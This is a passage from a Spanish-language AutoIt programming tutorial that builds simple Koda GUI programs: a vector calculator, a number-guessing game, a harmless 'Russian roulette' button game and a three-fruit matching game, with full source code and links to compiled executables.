grados: "**,** 24**,** 344**,** 116**,** 40)  $Input2 = GUICtrlCreateInput("30"**,** 144**,** 344**,** 200**,** 24**,** BitOR($GUI\_SS\_DEFAULT\_INPUT**,**$ES\_RIGHT))  $Button1 = GUICtrlCreateButton("Calcula las componentes"**,** 24**,** 384**,** 185**,** 49)  $Pic1 = GUICtrlCreatePic("D:\kio4\autoit\programas\vectores.bmp"**,** 32**,** 16**,** 400**,** 249)  $Label3 = GUICtrlCreateLabel("X = "**,** 32**,** 448**,** 25**,** 28)  $Label4 = GUICtrlCreateLabel("Y = "**,** 32**,** 488**,** 26**,** 20)  $Button2 = GUICtrlCreateButton("Calcula vector y ángulo"**,** 32**,** 520**,** 177**,** 49)  $Input3 = GUICtrlCreateInput("0"**,** 72**,** 448**,** 200**,** 24**,** BitOR($GUI\_SS\_DEFAULT\_INPUT**,**$ES\_RIGHT))  $Input4 = GUICtrlCreateInput("0"**,** 72**,** 488**,** 200**,** 24**,** BitOR($GUI\_SS\_DEFAULT\_INPUT**,**$ES\_RIGHT))  **; Juan A. Villalpando**  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  $x = 0  $y = 0  $vector = 0  $angulo = 0  $radianes = 0  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  $vector = GUICtrlRead($Input1)  $angulo = GUICtrlRead($Input2)  $radianes = \_Radian($angulo)  $x = $vector \* cos($radianes)  $y = $vector \* sin($radianes)  GUICtrlSetData($input3**,**$x)  GUICtrlSetData($input4**,**$y)  **Case** $msg = $Button2  $x = GUICtrlRead($Input3)  $y = GUICtrlRead($Input4)  $vector = sqrt($x^2 + $y^2)  $radianes = atan($y/$x)  $grados = \_Degree($radianes)  GUICtrlSetData($input1**,**$vector)  GUICtrlSetData($input2**,**$grados)  **EndSelect**  **Wend**  **Exit** |   - Lo convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**vectores.exe**](http://kio4.com/autoit/programas/vectores.exe)  **------------------------------------------------------------------------------------- - Mejoras.**  - Si quieres que salga con dos decimales:  $area = Round($area, 2) | | |
| |  |  |  | | --- | --- | --- | | - Mi correo: **juana1991@yahoo.com** | **- KIO4.COM** | [- Política de cookies.](http://kio4.com/politicacookies.htm) | | |

**11.- Koda. Adivinar el número.**

[**adivina.exe**](http://kio4.com/autoit/programas/adivina.exe)

- El ordenador creará un número del **1 al 100.** El usuario deberá adivinarlo, para ello escribirá un número y la aplicación mostrará un mensaje indicando si el número que has introducido es mayor o menor que el del ordenador.

- Este código es similar al que vimos en App Inventor: [**Adivina el número**](http://kio4.com/appinventor/1adivinaruletatres.htm).

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Ejecutamos Koda para crear el formulario.**

- Creamos el siguiente **Formulario**. Tenemos **Label (etiquetas), InputBox y Botones.**

- He puesto **Fuentes**de tamaño: 20 y Style: **Blod (negrita)**

- Si pulsas **Tools / Run Form**, verás cómo va quedando.

- Si pulsas en**Objetc Inspector**la flecha que indica la siguiente imagen, verás el nombre de los componentes creados.

- Pulsamos en **Tools / Generate Form Code...**y obtenemos el código de situación de los componentes del **Formulario.**

- Ese código lo copiamos en el Editor**SciTE**. Borramos las últimas líneas como indico en la imagen.

- Creo el código de Adivina.

- NOTA: El número que se ha de adivinar aparecerá inicialmente en el Label3, solo para hacer comprobaciones de funcionamiento, cuando ya queramos jugar, eliminamos o comentamos mediante punto y coma; la línea del Label3 para que no se vea el número que debemos adivinar.

|  |
| --- |
| **Código Adivina** |
| **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Cuando presiona el Botón1 crea un número aleatorio del 1 al 100**  **Case** $msg = $Button1 **; Indicamos que el cálculo se realizará cuando pulsemos el Botón1**  $ordenador = Random(0**,**100**,**1)  GUICtrlSetData($Label3**,**$ordenador) **; El $ordenador lo escribirá en la Label3. Para comprobaciones.**  **; Cuando presiona el Botón2 realizará las comparaciones.**  **Case** $msg = $Button2 **; Indicamos que el cálculo se realizará cuando pulsemos el Botón1**  $mio = GUICtrlRead($Input1) **; Toma el valor que escribamos en el Input1 y lo asigna a la $mio**  **if** $ordenador > $mio **Then**  GUICtrlSetData($Label2**,**"Mi número es mayor.") **; Escribe en Label2 = Mi número es mayor.**  **EndIf**  **if** $ordenador < $mio **Then**  GUICtrlSetData($Label2**,**"Mi número es menor.") **; Escribe en Label2 = Mi número es menor.**  **EndIf**  **if** $ordenador = $mio **Then**  GUICtrlSetData($Label2**,**"HAS ACERTADO.") **; Escribe en Label2 = HAS ACERTADO.**  **EndIf**  **EndSelect**  **Wend**  **Exit** |

- La **parte azul de arriba y abajo** la insertaremos también.

|  |
| --- |
| **Formulario + codigo adivina.au3** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form2 = GUICreate("Adivina el número - Juan A. Villalpando"**,** 586**,** 337**,** 189**,** 129)  $Button1 = GUICtrlCreateButton("Pulsa para nueva partida"**,** 24**,** 8**,** 545**,** 49)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Label1 = GUICtrlCreateLabel("Introduce un número"**,** 16**,** 80**,** 319**,** 41)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Input1 = GUICtrlCreateInput("Input1"**,** 16**,** 128**,** 121**,** 45)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button2 = GUICtrlCreateButton("¿Es este?"**,** 16**,** 184**,** 153**,** 41)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Label2 = GUICtrlCreateLabel("Label2"**,** 176**,** 184**,** 387**,** 33)  GUICtrlSetFont(-1**,** 15**,** 800**,** 0**,** "MS Sans Serif")  $Label3 = GUICtrlCreateLabel("Label3"**,** 24**,** 256**,** 122**,** 41)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Cuando presiona el Botón1 crea un número aleatorio del 1 al 100**  **Case** $msg = $Button1 **; Indicamos que el cálculo se realizará cuando pulsemos el Botón1**  $ordenador = Random(0**,**100**,**1)  GUICtrlSetData($Label3**,**$ordenador) **; El $ordenador lo escribirá en la Label4**  **; Cuando presiona el Botón2 realizará las comparaciones.**  **Case** $msg = $Button2 **; Indicamos que el cálculo se realizará cuando pulsemos el Botón2**  $mio = GUICtrlRead($Input1) **; Toma el valor que escribamos en el Input1 y lo asigna a la $mio**  **if** $ordenador > $mio **Then**  GUICtrlSetData($Label2**,**"Mi número es mayor.") **; Escribe en Label2 = Mi número es mayor.**  **EndIf**  **if** $ordenador < $mio **Then**  GUICtrlSetData($Label2**,**"Mi número es menor.") **; Escribe en Label2 = Mi número es menor.**  **EndIf**  **if** $ordenador = $mio **Then**  GUICtrlSetData($Label2**,**"HAS ACERTADO.") **; Escribe en Label2 = HAS ACERTADO.**  **EndIf**  **EndSelect**  **Wend**  **Exit** |

- Lo ejecutamos: **Tools / Go.** [En caso de que ya estuviera funcionando pulsamos "Tools / Stop Executing"]

**- NOTA:** La**Etiqueta3**es solo para comprobar el funcionamiento de la aplicación. Cuando comprobemos su buen funcionamiento, borraremos o inhabilitaremos esta Etiqueta3 para no ver el número que debemos acertar.

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**adivina.exe**](http://kio4.com/autoit/imagenes_autoit/adivina.exe)**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Crea un contador que cuente el número de intentos realizados para acertar.

intentos = intentos + 1

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Botón que cambia su Caption.**

- Mediante GUICtrlSetData podemos cambiar las propiedades de un control que esté creado previamente.

|  |
| --- |
| **adivina.au3** |
| #include <GUIConstantsEx.au3>  **#Region ### START Koda GUI section ### Form=**  GUICreate("GUICtrlSetData"**,** 200**,**100)  $button = GUICtrlCreateButton("Iniciar"**,**60**,** 30**,** 80**,** 20)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  $count = 0  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $button  **If** $count = 1 **Then**  GUICtrlSetData($button**,** "Iniciar")  $count = 0  **ElseIf** $count = 0 **Then**  GUICtrlSetData($button**,** "Parar")  $count = 1  **EndIf**  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Otra manera de realizar el bucle.**

- En otros tutoriales verás otra manera de realizar el bucle para la obtención del botón pulsado, mediante **Switch**.

- En estos tutoriales seguiremos utilizando el primer método.

|  |
| --- |
| **adivina.au3** |
| #include <GUIConstantsEx.au3>  **#Region ### START Koda GUI section ### Form=**  GUICreate("GUICtrlSetData"**,** 200**,**100)  $button = GUICtrlCreateButton("Iniciar"**,**60**,** 30**,** 80**,** 20)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  $count = 0  **While** 1  **Switch** GuiGetMsg()  **Case** $button  **If** $count = 1 **Then**  GUICtrlSetData($button**,** "Iniciar")  $count = 0  **ElseIf** $count = 0 **Then**  GUICtrlSetData($button**,** "Parar")  $count = 1  **EndIf**  **Case** $GUI\_EVENT\_CLOSE  **Exit**  **EndSwitch**  **Wend** |

**12.- Ruleta rusa.**

[**ruleta\_rusa.exe**](http://kio4.com/autoit/programas/ruleta_rusa.exe)

- En este caso tenemos un revólver para 6 balas.

- Primero **Rearmamos** el revólver poniendo una sola bala y girando el tambor. La bala se ubicará aleatoriamente en uno de los 6 sitios.

- Luego vamos pulsando de manera desordenada los distintos botones .

- Si el número de lugar de la bala coincide con el número del Botón pulsado, la pantalla se tiñe de rojo

- En caso contrario se deshabilita ($GUI\_DISABLE) el botón pulsado.

- Este código es similar al que vimos en App Inventor: [**Ruleta rusa**](http://kio4.com/appinventor/1Bruletabuscaminas.htm).

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Ejecutamos Koda para crear el formulario.**

- Creamos el siguiente **Formulario.** Ponemos 6 Botones de igual tamaño y luego uno más ancho como se ve en la imagen.

- He puesto la Propiedad**Font** de los botones a Size: 20 y Bold (negrita)

- Si pulsas **Tools / Run Form**, verás cómo va quedando.

- Pulsamos en **Tools / Generate Form Code...**y obtenemos el código de situación de los componentes del Formulario.

- Ese código lo copiamos en el Editor**SciTE**. Borramos las últimas líneas como indico en la imagen.

- Creo el código de Ruleta rusa.

|  |
| --- |
| **Ruleta rusa.** |
| $x = 1  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1 **; Presiona Botón1**  **if** $x = 1 **Then**  GUISetBkColor(0xFF0000) **; Si x = 1, Formulario en rojo**  **Else**  GUICtrlSetState($Button1**,** $GUI\_DISABLE) **; Deshabilita el Botón1**  **EndIf**  **Case** $msg = $Button2 **; Presiona Botón2**  **if** $x = 2 **Then**  GUISetBkColor(0xFF0000) **; Si x = 2, Formulario en rojo**  **Else**  GUICtrlSetState($Button2**,** $GUI\_DISABLE) **; Deshabilita el Botón2**  **EndIf**  **Case** $msg = $Button3 **; Presiona Botón3**  **if** $x = 3 **Then**  GUISetBkColor(0xFF0000) **; Si x = 3, Formulario en rojo**  **Else**  GUICtrlSetState($Button3**,** $GUI\_DISABLE) **; Deshabilita el Botón3**  **EndIf**  **Case** $msg = $Button4 **; Presiona Botón4**  **if** $x = 4 **Then**  GUISetBkColor(0xFF0000) **; Si x = 4, Formulario en rojo**  **Else**  GUICtrlSetState($Button4**,** $GUI\_DISABLE) **; Deshabilita el Botón4**  **EndIf**  **Case** $msg = $Button5 **; Presiona Botón5**  **if** $x = 5 **Then**  GUISetBkColor(0xFF0000) **; Si x = 5, Formulario en rojo**  **Else**  GUICtrlSetState($Button5**,** $GUI\_DISABLE) **; Deshabilita el Botón5**  **EndIf**  **Case** $msg = $Button6 **; Presiona Botón6**  **if** $x = 6 **Then**  GUISetBkColor(0xFF0000) **; Si x = 6, Formulario en rojo**  **Else**  GUICtrlSetState($Button6**,** $GUI\_DISABLE) **; Deshabilita el Botón6**  **EndIf**  **Case** $msg = $Button7 **; Rearme.**  $x = Random(1**,**6**,**1) **; Crea un número aleatorio del 1 al 6**  GUICtrlSetState($Button1**,** $GUI\_ENABLE)  GUICtrlSetState($Button2**,** $GUI\_ENABLE)  GUICtrlSetState($Button3**,** $GUI\_ENABLE)  GUICtrlSetState($Button4**,** $GUI\_ENABLE)  GUICtrlSetState($Button5**,** $GUI\_ENABLE)  GUICtrlSetState($Button6**,** $GUI\_ENABLE)  GUISetBkColor(0xFFFFFF) **; Formulario en Blanco.**  **EndSelect**  **Wend**  **Exit** |

- La **parte azul de arriba y abajo** la insertaremos también.

|  |
| --- |
| **ruleta\_rusa.au3** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form2 = GUICreate("Ruleta rusa - Juan A. Villalpando"**,** 645**,** 487**,** 398**,** 194)  $Button1 = GUICtrlCreateButton("1"**,** 32**,** 24**,** 89**,** 65)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button2 = GUICtrlCreateButton("2"**,** 128**,** 24**,** 89**,** 65)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button3 = GUICtrlCreateButton("3"**,** 224**,** 24**,** 89**,** 65)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button4 = GUICtrlCreateButton("4"**,** 320**,** 24**,** 91**,** 65)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button5 = GUICtrlCreateButton("5"**,** 416**,** 24**,** 89**,** 65)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button6 = GUICtrlCreateButton("6"**,** 512**,** 24**,** 89**,** 65)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button7 = GUICtrlCreateButton("Rearme"**,** 40**,** 192**,** 561**,** 89)  GUICtrlSetFont(-1**,** 22**,** 800**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $x = 1  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1 **; Presiona Botón1**  **if** $x = 1 **Then**  GUISetBkColor(0xFF0000) **; Si x = 1, Formulario en rojo**  **Else**  GUICtrlSetState($Button1**,** $GUI\_DISABLE) **; Deshabilita el Botón1**  **EndIf**  **Case** $msg = $Button2 **; Presiona Botón2**  **if** $x = 2 **Then**  GUISetBkColor(0xFF0000) **; Si x = 2, Formulario en rojo**  **Else**  GUICtrlSetState($Button2**,** $GUI\_DISABLE) **; Deshabilita el Botón2**  **EndIf**  **Case** $msg = $Button3 **; Presiona Botón3**  **if** $x = 3 **Then**  GUISetBkColor(0xFF0000) **; Si x = 3, Formulario en rojo**  **Else**  GUICtrlSetState($Button3**,** $GUI\_DISABLE) **; Deshabilita el Botón3**  **EndIf**  **Case** $msg = $Button4 **; Presiona Botón4**  **if** $x = 4 **Then**  GUISetBkColor(0xFF0000) **; Si x = 4, Formulario en rojo**  **Else**  GUICtrlSetState($Button4**,** $GUI\_DISABLE) **; Deshabilita el Botón4**  **EndIf**  **Case** $msg = $Button5 **; Presiona Botón5**  **if** $x = 5 **Then**  GUISetBkColor(0xFF0000) **; Si x = 5, Formulario en rojo**  **Else**  GUICtrlSetState($Button5**,** $GUI\_DISABLE) **; Deshabilita el Botón5**  **EndIf**  **Case** $msg = $Button6 **; Presiona Botón6**  **if** $x = 6 **Then**  GUISetBkColor(0xFF0000) **; Si x = 6, Formulario en rojo**  **Else**  GUICtrlSetState($Button6**,** $GUI\_DISABLE) **; Deshabilita el Botón6**  **EndIf**  **Case** $msg = $Button7 **; Rearme.**  $x = Random(1**,**6**,**1) **; Crea un número aleatorio del 1 al 6**  GUICtrlSetState($Button1**,** $GUI\_ENABLE)  GUICtrlSetState($Button2**,** $GUI\_ENABLE)  GUICtrlSetState($Button3**,** $GUI\_ENABLE)  GUICtrlSetState($Button4**,** $GUI\_ENABLE)  GUICtrlSetState($Button5**,** $GUI\_ENABLE)  GUICtrlSetState($Button6**,** $GUI\_ENABLE)  GUISetBkColor(0xFFFFFF) **; Formulario en Blanco.**  **EndSelect**  **Wend**  **Exit** |

- Lo ejecutamos: **Tools / Go.** [En caso de que ya estuviera funcionando pulsamos "Stop Executing"]

Cuando pulsamos el botón de **Rearmar**, **Botón7**, se crea un número aleatorio del 1 al 6, se habilitan todos los botones y el fondo de la pantalla se pone en blanco.

Cuando pulsamos cualquier botón:

- Si el valor x generado aleatoriamente en el rearme coincide con el número del Botón, se pone la pantalla roja.

- En caso contrario, se Deshabilita el botón pulsado**.**

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**ruleta\_rusa.exe**](http://kio4.com/autoit/programas/ruleta_rusa.exe)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Realiza el busca minas que vimos al final del tutorial de App Inventor: [**Ruleta rusa**](http://kio4.com/appinventor/1Bruletabuscaminas.htm).

**13.- Tres iguales. Imágenes.**

[**tres\_iguales.exe**](http://kio4.com/autoit/programas/tres_iguales.exe)

- Se trata de pulsar el **Botón "Comienzo"**, en ese momentos tres imagenes **fresa.gif, limon.gif y pera.gif**, se van reproduciendo aleatoriamente en los cuadros (Pics1, Pics2 y Pics3).

- Cuando pulsamos el**Botón "Para"**, las imágenes quedan estáticas, se incrementa en uno el número de intentos y se comprueba si las tres imagenes son iguales, en este caso se incrementa en uno el número de aciertos.

- Fijate que en el temporizador Reloj1 he puesto un IntervaloDeTiempo de 200

- A las imágenes que vamos a utilizar (**fresa.gif, limon.gif y pera.gif**) las hemos Añadido en el apartado Medios.

- De aquí puedes bajar los [**dibujos de las frutas**](http://kio4.com/autoit/imagenes_autoit/frutas.zip).

- Este código es similar al que vimos en App Inventor: [**Tres iguales**](http://kio4.com/appinventor/1Ctresiguales.htm) pero un poco más complicado debido a que el código es menos intuitovo para un principiante.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**- Ejecutamos Koda para crear el formulario.**

- Creamos el siguiente **Formulario.** Tenemos **Label (etiquetas), Imágenes y Botones.**

-**IMPORTANTE:**copiamos las tres imágenes de las frutas en la misma carpeta donde guardemos la aplicación.

- El componente de imágenes (Pictures) está en la pestaña **"Additional"**.

- El dibujo de la imagen lo tomamos desde la**Propiedad Picture**.

- Si pulsas **Tools / Run Form**, verás cómo va quedando.

- Pulsamos en **Tools / Generate Form Code...**y obtenemos el código de situación de los componentes del Formulario.

- Ese código lo copiamos en el Editor**SciTe**. Borramos las últimas líneas como indico en la imagen.

- Creo el código de Tres iguales.

|  |
| --- |
| **Tres iguales.** |
| **;;;;;;;;;;;;;;;; Configuración del Temporizador ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $inicio = 0  $final = 0  $TemporizadorHabilitado = "cierto"  $IntervaloDelTemporizador = 40  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $x = 0  $y = 0  $z = 0  $aciertos = 0  $intentos = 0  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Case** $msg = $Button1  $intentos = $intentos + 1  GUICtrlSetData($Label1**,**$intentos)  $TemporizadorHabilitado = "falso"  **if** $x = $y And $y = $z **Then**  $aciertos = $aciertos + 1  GUICtrlSetData($Label2**,**$aciertos)  **EndIf**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Case** $msg = $Button2  $TemporizadorHabilitado = "cierto"  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Case** $msg = $Button3  $aciertos = 0  GUICtrlSetData($Label2**,**$aciertos)  $intentos = 0  GUICtrlSetData($Label1**,**$intentos)  $TemporizadorHabilitado = "cierto"  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **EndSelect**  **;;;;;;;;;;;;;;;;;; Comprueba el temporizador ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $final = TimerDiff($inicio)  **if** $final > $IntervaloDelTemporizador And $TemporizadorHabilitado="cierto" **Then**  Reloj\_Temporizador()  $inicio = TimerInit()  **EndIf**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Wend**  **Exit**  **; RELOJ\_TEMPORIZADOR ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** Reloj\_Temporizador()  $x = Random(1**,**3**,**1)  $y = Random(1**,**3**,**1)  $z = Random(1**,**3**,**1)  **if** $x = 1 **Then**  GUICtrlSetImage ($Pic1**,** "fresa.gif")  **EndIf**  **if** $x = 2 **Then**  GUICtrlSetImage ($Pic1**,** "limon.gif")  **EndIf**  **if** $x = 3 **Then**  GUICtrlSetImage ($Pic1**,** "pera.gif")  **EndIf**  **if** $y = 1 **Then**  GUICtrlSetImage ($Pic2**,** "fresa.gif")  **EndIf**  **if** $y = 2 **Then**  GUICtrlSetImage ($Pic2**,** "limon.gif")  **EndIf**  **if** $y = 3 **Then**  GUICtrlSetImage ($Pic2**,** "pera.gif")  **EndIf**  **if** $z = 1 **Then**  GUICtrlSetImage ($Pic3**,** "fresa.gif")  **EndIf**  **if** $z = 2 **Then**  GUICtrlSetImage ($Pic3**,** "limon.gif")  **EndIf**  **if** $z = 3 **Then**  GUICtrlSetImage ($Pic3**,** "pera.gif")  **EndIf**  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;** |

- La **parte azul de arriba y abajo** la insertaremos también.

|  |
| --- |
| **tres\_iguales.au3** |
| #include <ButtonConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form3 = GUICreate("Tres iguales - Juan A. Villalpando"**,** 703**,** 513**,** 464**,** 136)  $Pic1 = GUICtrlCreatePic("limon.gif"**,** 280**,** 24**,** 153**,** 113)  $Pic2 = GUICtrlCreatePic("fresa.gif"**,** 80**,** 24**,** 153**,** 113)  $Pic3 = GUICtrlCreatePic("pera.gif"**,** 488**,** 24**,** 153**,** 113)  $Button1 = GUICtrlCreateButton("Para"**,** 136**,** 184**,** 209**,** 57)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button2 = GUICtrlCreateButton("Continua"**,** 376**,** 184**,** 209**,** 57)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Label1 = GUICtrlCreateLabel("Label1"**,** 88**,** 272**,** 392**,** 41)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Label2 = GUICtrlCreateLabel("Label2"**,** 88**,** 328**,** 394**,** 41)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  $Button3 = GUICtrlCreateButton("Comienzo"**,** 224**,** 408**,** 273**,** 49)  GUICtrlSetFont(-1**,** 20**,** 800**,** 0**,** "MS Sans Serif")  GUISetState(@SW\_SHOW)  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **;;;;;;;;;;;;;;;; Configuración del Temporizador ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $inicio = 0  $final = 0  $TemporizadorHabilitado = "cierto"  $IntervaloDelTemporizador = 40  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $x = 0  $y = 0  $z = 0  $aciertos = 0  $intentos = 0  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Case** $msg = $Button1  $intentos = $intentos + 1  GUICtrlSetData($Label1**,**$intentos)  $TemporizadorHabilitado = "falso"  **if** $x = $y And $y = $z **Then**  $aciertos = $aciertos + 1  GUICtrlSetData($Label2**,**$aciertos)  **EndIf**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Case** $msg = $Button2  $TemporizadorHabilitado = "cierto"  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Case** $msg = $Button3  $aciertos = 0  GUICtrlSetData($Label2**,**$aciertos)  $intentos = 0  GUICtrlSetData($Label1**,**$intentos)  $TemporizadorHabilitado = "cierto"  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **EndSelect**  **;;;;;;;;;;;;;;;;;; Comprueba el temporizador ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  $final = TimerDiff($inicio)  **if** $final > $IntervaloDelTemporizador And $TemporizadorHabilitado="cierto" **Then**  Reloj\_Temporizador()  $inicio = TimerInit()  **EndIf**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Wend**  **Exit**  **; RELOJ\_TEMPORIZADOR ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **Func** Reloj\_Temporizador()  $x = Random(1**,**3**,**1)  $y = Random(1**,**3**,**1)  $z = Random(1**,**3**,**1)  **if** $x = 1 **Then**  GUICtrlSetImage ($Pic1**,** "fresa.gif")  **EndIf**  **if** $x = 2 **Then**  GUICtrlSetImage ($Pic1**,** "limon.gif")  **EndIf**  **if** $x = 3 **Then**  GUICtrlSetImage ($Pic1**,** "pera.gif")  **EndIf**  **if** $y = 1 **Then**  GUICtrlSetImage ($Pic2**,** "fresa.gif")  **EndIf**  **if** $y = 2 **Then**  GUICtrlSetImage ($Pic2**,** "limon.gif")  **EndIf**  **if** $y = 3 **Then**  GUICtrlSetImage ($Pic2**,** "pera.gif")  **EndIf**  **if** $z = 1 **Then**  GUICtrlSetImage ($Pic3**,** "fresa.gif")  **EndIf**  **if** $z = 2 **Then**  GUICtrlSetImage ($Pic3**,** "limon.gif")  **EndIf**  **if** $z = 3 **Then**  GUICtrlSetImage ($Pic3**,** "pera.gif")  **EndIf**  **EndFunc**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;** |

- Lo ejecutamos: **Tools / Go.** [En caso de que ya estuviera funcionando pulsamos "Tools / Stop Executing"]

- La convertimos en autoejecutable mediante **Aut2Exe,** aqui está: [**tres\_iguales.exe**](http://kio4.com/autoit/programas/tres_iguales.exe)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Crea otra etiqueta donde se muestre la relación entre aciertos e intentos.  
Obtén la probabilidad de acertar:

Hay 3 elevado a 3 = 27 combinaciones posibles y 3 aciertos.

